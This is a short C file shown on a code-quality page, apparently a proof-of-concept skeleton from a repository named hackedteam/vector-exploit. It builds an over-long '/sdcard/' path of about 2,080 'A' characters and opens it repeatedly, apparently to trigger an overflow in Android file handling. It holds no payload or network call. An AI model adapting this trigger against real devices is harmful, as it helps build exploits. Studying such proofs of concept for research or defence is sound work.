hackedteam/vector-exploit

View on GitHub
src/ht-android-shellcode/skeleton/jni/poc.c

Summary

Maintainability
Test Coverage
#include <stdio.h>
 
int main(int argc, char** argv) {
  char buf[5000];
  int j,k;
  FILE *fp;

  printf("asdf1\n");

  /* Path to sdcard, typically /sdcard/ */
  strcpy(buf,"/sdcard/");
  for(k=0;k<=2080;k++){
    strcat(buf,"A");
  };

  printf("%s\n", buf);
  
  for(j=0;j<=50;j++){
    fp=fopen(buf,"w");
  };
  
  
  return 0;
}